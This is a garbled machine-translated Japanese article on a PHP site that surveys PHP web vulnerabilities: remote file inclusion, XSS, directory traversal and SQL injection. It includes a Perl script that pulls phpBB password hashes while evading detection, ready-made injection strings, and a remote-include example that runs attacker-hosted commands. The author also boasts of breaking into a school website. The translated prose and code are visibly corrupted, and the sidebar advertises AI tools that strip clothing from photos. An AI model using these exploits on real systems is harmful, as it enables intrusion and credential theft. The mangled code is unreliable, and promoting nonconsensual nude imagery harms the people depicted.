ホームページ php教程 php手册 PHP Web サイトの脆弱性の概要

PHP Web サイトの脆弱性の概要

Jun 21, 2016 am 08:58 AM
php socket topic

現在のネットワーク セキュリティから判断すると、誰もが最も懸念し、最も危険にさらされている Web ページの脆弱性は ASP であるはずです。この点に関しては、Xiaozhu が専門家であるため、私は何も言えません。しかし、PHP の観点から言えば、そこにあります。


も非常に深刻なセキュリティ上の脆弱性です。しかし、この分野に関する記事はあまりありません。ここでは、PHP ページの関連する脆弱性について簡単に説明します。脆弱性は、ファイルの脆弱性、スクリプト コマンド実行の脆弱性、ファイル リークの脆弱性、SQL インジェクションの脆弱性などに大別されます。もちろん、COOKIE スプーフィングなどの一般的な技術については、ここでは説明しません。インターネット上には多くの情報がありますので、これらの脆弱性を悪用する方法を 1 つずつ分析してみましょう。


まず、この脆弱性は、に特有のものであると言えます。これは、外部の PHP の処理が不十分であるためです。提供された悪意のあるデータにより、リモート攻撃者がこれらの脆弱性を悪用して、WEB プロセス権限を持つシステム上で任意のコマンドを実行することができます。例を見てみましょう: a.php に次のようなコードがあるとします。
include($include."/xxx.php");
?>
このコードでは、$include は一般に設定されているパスですが、たとえば、攻撃の目的を達成するには、a.php?include=http://web/b.php を送信します。もちろん、この Web は攻撃に使用されます。 b.php には passthru("/bin/ls /etc"); のようなコードを記述できます (注: Web サーバー)。 PHP コードを実行できないと問題が発生します。詳細については、「PHP プログラムの一般的な脆弱性を攻撃する方法」を参照してください。この脆弱性に関しては、たとえば、PayPal ストアなど、多くの問題があります。 Front、
HotNews、Mambo Open Source、PhpDig、YABB SE、phpBB、InvisionBoard、SOLMETRA SPAW Editor、Les Visiteurs、PhpGedView、X-Cart など


次に見てみましょうスクリプト コマンド実行の脆弱性。これは、ユーザーが送信した URI パラメーターのフィルタリングが不十分であることが原因で、悪意のある HTML コードを含むデータを送信すると、クロスサイト スクリプティング攻撃が引き起こされ、ターゲット ユーザーの機密情報が取得される可能性があります。例も示します。PHP Transparent PHP 4.3.1 以前のindex.php ページには、PHPSESSID の十分なフィルタリングがありません。
http://web/ のようなコードを通じて攻撃の目的を達成できます。 Index.php?PHPSESSID="><script>...</script>スクリプトでは、ユーザーの機密情報を取得する関数を構築できます。この点に関する脆弱性は比較的少ないです。 PHP Transparent の他に、PHP-Nuke、phpBB、PHP Classifieds、PHPix、Ultimate PHP Board などがあります。


次に、ファイル漏洩の脆弱性を見てみましょう。これは、ユーザーが送信したパラメータのフィルタリングが不十分なためです。リモート攻撃者がこれを使用してディレクトリ トラバーサル攻撃を実行し、機密情報を取得する可能性があります。phpMyAdmin では、export.php ページがそうではありません。 「what」パラメータを完全にフィルタリングすることにより、リモート攻撃者は、複数の「../」文字を含むデータを送信することで、WEB ROOT 制限を回避し、WEB 権限を持つシステム上のファイル情報を表示できます。ファイルのアドレス:export.php?what=../../../etc/passwd%00 これに関しては比較的多くのファイル漏洩の目的を達成できます。 myPHPNuke 、McNews など。


最後に、ASP ページで SQL インジェクションを使用することがいかに楽しいかについて考えてみましょう。 Xiaozhu が「SQL インジェクションの秘密の本」を見つけ出すまでは、手動でインジェクションを行っていました (笑)。その後、私たちの NB Alliance が大きな変化をもたらしました。彼は、CSDN、Monopoly Forum、China Channel などの大規模な Web サイトの抜け穴を見つけるのに貢献しました。これらはあまりナンセンスではありません。少し話が逸れました...)。実際、ASP での SQL インジェクションは PHP での SQL インジェクションとほぼ同じです。使用されるいくつかの関数に少し注意してください。 asc を ASCII に、len を LENGTH に変更します。その他の関数は基本的に変更されません。実際、PHP で SQL インジェクションを見ると、誰もが PHP-NUKE と PHPBB を思い浮かべるのではないでしょうか。はい、よく言われるように、ツリーはポイントを獲得できます。 Dongwang のように、このようなフォーラムは ASP の世界における脆弱性の王であるべきです。これは、そのフォーラムのセキュリティが低すぎるという意味ではなく、他の人が使用すればするほど、より多くの人々がそれを研究するようになるということを意味します。セキュリティ上の脆弱性はますます発見されています。これは PHPBB にも当てはまります。現在、多くの人がフォーラムに PHP を使用している場合、その脆弱性は常に phpBB.com から発生しています。脆弱性が発見された phpBB 1.4.0、groupcp.php の最新バージョン phpBB 2.0.6、および以前に発見された search.php、profile.php、viewtopic.php などを合計すると、約 12 になります。これは常に、PHP の脆弱性を研究する際に、テスト製品として使用することにつながります。私は、PHPBB は将来的にはますます良くなると信じています。 >

さて、脆弱性の原因を分析してみましょう。viewtopic.php ページを例に挙げると、viewtopic.php を呼び出すと、「topic_id」が GET リクエストから直接取得され、SQL クエリ コマンドを実行せずに渡されます。フィルタリング処理を実行すると、攻撃者は特別な SQL 文字列を送信して MD5 パスワードを取得し、このパスワード情報を自動ログインやブルート フォース クラッキングに使用することができます。 (特に重要な理由がない限り、ブルートフォースを実行したい人はいないと思います) まず、関連するソースコードを見てください:
# if ( isset($HTTP_GET_VARS[POST_TOPIC_URL]) )
# {
#P トピック ID = INTVAL ($ http_get_vars [post_topic_url]);
#}
#Else if ($ http_get_vars ['トピック'])
#{
# I トピック ID = Intval ($HTTP_GET_VARS['topic']);
# }
上記のことから、送信された view=newest と sid が値に設定されている場合、実行されるクエリ コードは次のようになります ( PHPBB のソース コードをまだ見ていない場合は、それを読んでから、ここを参照することをお勧めします: phpBB 2.0.5 および phpBB 2.0.4)。 post_id
# FROM " . POSTS_TABLE . " p, " . SESSIONS_TABLE . " s, " . USERS_TABLE . " u
# 🎜 ># AND p.topic_id = $topic_id
# AND p.post_time > = u.user_lastvisit
# ORDER BY p.post_time ASC
# LIMIT 1";
Rick は次の Break テスト コードを提供しました:
use IO::Socket;
$remote = SHIFT | | 'ローカルホスト';
$view_topic = シフト ||
$ポート = 'mysql4 '; # mysql4 または pgsql
print "uid $uid サーバー $remote dbtype: $dbtypen のパスワード ハッシュを取得しようとしています";
$p = ""
for($index=1; $index< ;=32; $index++)
{
$socket = IO::Socket::INET->new( PeerAddr => $remote,
PeerPort => 🎜> あるいは、「できません」 $remote:$ port : $@n";
$str = "GET $view_topic" . "?sid=1&topic_id=-1" .random_encode(make_dbsql()) . "&view=newest" . " に接続します。 HTTP/1.0nn";
print $socket $str;
print $socket "Cookie: phpBB2mysql_sid=1n"; = <$socket>)
{
if ($answer =~ / location:.*x23(d+)/) # 場所と一致します: viewtopic.php?p=# {
$ p. =
}
}
Close ($ ソケット);
}
Print "uid $ uid は $ pn の nmd5 ハッシュです。
# ランダム エンコード str は検出を回避します。 {
str = shift;
$ret = "";
for($i=0; $i {
$c = substr ($str,$i,1); >

if (int($j) % 2 || $c eq ' ')
);
}
else
🎜>}
sub make_dbsql
{
if ($dbtype eq 'mysql4')
*" ;
} elsif ($dbtype eq 'pgsql')
{
return "; select ascii(substring(user_password from $index for 1)) as post_id from phpbb_posts p, phpbb_users u where u.user_id=$uid or false";
}
else
{
return ""; この関数は、HASH 値を取得するためのものです。


これを見て、なぜ先ほど述べた変更された関数が使用されないのかという疑問が生じるかもしれません。実際、インターネット上の多くのサイトには、ページ上のクエリ ステートメントは次のようになります:
display.php?sqlsave=select+*+from+aaa+where+xx=yy+order+ by+bbb+desc
笑わないでください。これは本当です。私はこれをいくつかの大きな Web サイトにアクセスするために使用しました。どの Web サイトにアクセスするかはわかりませんが、私はこれを学校の Web サイトのバックエンドにアクセスするために使用しました。 (学校のネットワーク センターがこの記事を見ないことを願っています。^_^) 前の機能を使用してください。そうでない場合は、パスワードを変更する必要があります。


SQL インジェクションに関しては、PHP は ASP とは異なり、mssql ほど柔軟ではないため、mssql で使用できる多くのクエリ ステートメントは利用できません。 mysql データベースはもう機能しません。一般的なインジェクション ステートメントは次のようになります: aaa.php?id=a' into outfile 'pass.txt or aaa.php?id=a' into outfile 'pass.txt ' /*さらに次のように変更できます: aaa.php?id=a' または 1=1 Union select id,name,password form users into outfile 'c:/a.txt
このように、データベース データ
または次のようになります: mode=', user_level='4
このステートメントは通常、ページに脆弱性がある場合に使用されます。
その他は ' OR 1= 1 -- or: 1' または 1='1 のようなものですが、ここでは詳しく説明しません。一番の脆弱性は、この問題を抱えたページが多すぎることです。


実際、上記の分類の理由は 1 つだけであることがわかります。それは、送信されたパラメータがフィルタリングされていないか、フィルタリングが行われていないことです。ハッカーの防御線は常に攻撃的かつ防御的です。

まず、個人的に最も重要なポイントは、magic_quotes_gpc を ON に設定することです。その機能は、一重引用符、二重引用符、バックスラッシュ、およびヌル文字をバックスラッシュを含む文字に変換することです。たとえば、select * from admin where username='$username' and passwd='$password' ステートメントでは、攻撃者は 1' を使用したいと考えています。または 1='1 は検証をスキップしますが、これらの文字列は次のように変換されます: select * from admin where username='a' and password='1' または 1='1' 実際、インジェクションを防止する目的を達成します。 、addslashes() 操作が自動的に実行されますが、それが機能しない場合は、それを処理する独自の関数を定義してください。myslq4 より前のバージョンではサブスクリプトがサポートされていないため、PHP インジェクションに携わる人々も非常に憂鬱になっているようです。


含まれるファイルの脆弱性を解決する方法は、次のとおりです。プログラマは、ファイルにパラメータを含めるときに変数を使用しないようにする必要があります。変数を使用する場合は、含めるファイル名を厳密にチェックする必要があり、ユーザーが任意に指定することはできません。global_variables を off に設定することをお勧めします。たとえば、以前のファイルを開く際の PHP 操作パスを制限することは必要なオプションです。また、特に必要がない限り、PHP のリモートファイルオープン機能は必ずオフにしてください。 php.ini ファイルを変更します:allow_url_fopen = Off (注: <>を参照)。


もう 1 つ必要があります。多くの Web サイトでこの問題が発生します。つまり、エラー表示がオフにならないということです。一見すると大したことではないように思えますが、長時間このサイトを見つめていると (表現は少し間違っていますが) 問題が発生する可能性があります。エラー プロンプトを通じてデータベース情報、Web ページ ファイルの物理パスなどを取得します。



このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。

ホットAIツール

Undresser.AI Undress

Undresser.AI Undress

リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover

AI Clothes Remover

写真から衣服を削除するオンライン AI ツール。

Undress AI Tool

Undress AI Tool

脱衣画像を無料で

Clothoff.io

Clothoff.io

AI衣類リムーバー

AI Hentai Generator

AI Hentai Generator

AIヘンタイを無料で生成します。

ホットツール

メモ帳++7.3.1

メモ帳++7.3.1

使いやすく無料のコードエディター

SublimeText3 中国語版

SublimeText3 中国語版

中国語版、とても使いやすい

ゼンドスタジオ 13.0.1

ゼンドスタジオ 13.0.1

強力な PHP 統合開発環境

ドリームウィーバー CS6

ドリームウィーバー CS6

ビジュアル Web 開発ツール

SublimeText3 Mac版

SublimeText3 Mac版

神レベルのコード編集ソフト(SublimeText3)

Ubuntu および Debian 用の PHP 8.4 インストールおよびアップグレード ガイド Ubuntu および Debian 用の PHP 8.4 インストールおよびアップグレード ガイド Dec 24, 2024 pm 04:42 PM

PHP 8.4 では、いくつかの新機能、セキュリティの改善、パフォーマンスの改善が行われ、かなりの量の機能の非推奨と削除が行われています。 このガイドでは、Ubuntu、Debian、またはその派生版に PHP 8.4 をインストールする方法、または PHP 8.4 にアップグレードする方法について説明します。

CakePHP について話し合う CakePHP について話し合う Sep 10, 2024 pm 05:28 PM

CakePHP は、PHP 用のオープンソース フレームワークです。これは、アプリケーションの開発、展開、保守をより簡単にすることを目的としています。 CakePHP は、強力かつ理解しやすい MVC のようなアーキテクチャに基づいています。モデル、ビュー、コントローラー

CakePHP ファイルのアップロード CakePHP ファイルのアップロード Sep 10, 2024 pm 05:27 PM

ファイルのアップロードを行うには、フォーム ヘルパーを使用します。ここではファイルアップロードの例を示します。

PHP 開発用に Visual Studio Code (VS Code) をセットアップする方法 PHP 開発用に Visual Studio Code (VS Code) をセットアップする方法 Dec 20, 2024 am 11:31 AM

Visual Studio Code (VS Code とも呼ばれる) は、すべての主要なオペレーティング システムで利用できる無料のソース コード エディター (統合開発環境 (IDE)) です。 多くのプログラミング言語の拡張機能の大規模なコレクションを備えた VS Code は、

CakePHP クイックガイド CakePHP クイックガイド Sep 10, 2024 pm 05:27 PM

CakePHP はオープンソースの MVC フレームワークです。これにより、アプリケーションの開発、展開、保守がはるかに簡単になります。 CakePHP には、最も一般的なタスクの過負荷を軽減するためのライブラリが多数あります。

PHPでHTML/XMLを解析および処理するにはどうすればよいですか? PHPでHTML/XMLを解析および処理するにはどうすればよいですか? Feb 07, 2025 am 11:57 AM

このチュートリアルでは、PHPを使用してXMLドキュメントを効率的に処理する方法を示しています。 XML(拡張可能なマークアップ言語)は、人間の読みやすさとマシン解析の両方に合わせて設計された多用途のテキストベースのマークアップ言語です。一般的にデータストレージに使用されます

JSON Web Tokens(JWT)とPHP APIでのユースケースを説明してください。 JSON Web Tokens(JWT)とPHP APIでのユースケースを説明してください。 Apr 05, 2025 am 12:04 AM

JWTは、JSONに基づくオープン標準であり、主にアイデンティティ認証と情報交換のために、当事者間で情報を安全に送信するために使用されます。 1。JWTは、ヘッダー、ペイロード、署名の3つの部分で構成されています。 2。JWTの実用的な原則には、JWTの生成、JWTの検証、ペイロードの解析という3つのステップが含まれます。 3. PHPでの認証にJWTを使用する場合、JWTを生成および検証でき、ユーザーの役割と許可情報を高度な使用に含めることができます。 4.一般的なエラーには、署名検証障害、トークンの有効期限、およびペイロードが大きくなります。デバッグスキルには、デバッグツールの使用とロギングが含まれます。 5.パフォーマンスの最適化とベストプラクティスには、適切な署名アルゴリズムの使用、有効期間を合理的に設定することが含まれます。

母音を文字列にカウントするPHPプログラム 母音を文字列にカウントするPHPプログラム Feb 07, 2025 pm 12:12 PM

文字列は、文字、数字、シンボルを含む一連の文字です。このチュートリアルでは、さまざまな方法を使用してPHPの特定の文字列内の母音の数を計算する方法を学びます。英語の母音は、a、e、i、o、u、そしてそれらは大文字または小文字である可能性があります。 母音とは何ですか? 母音は、特定の発音を表すアルファベットのある文字です。大文字と小文字など、英語には5つの母音があります。 a、e、i、o、u 例1 入力:string = "tutorialspoint" 出力:6 説明する 文字列「TutorialSpoint」の母音は、u、o、i、a、o、iです。合計で6元があります

See all articles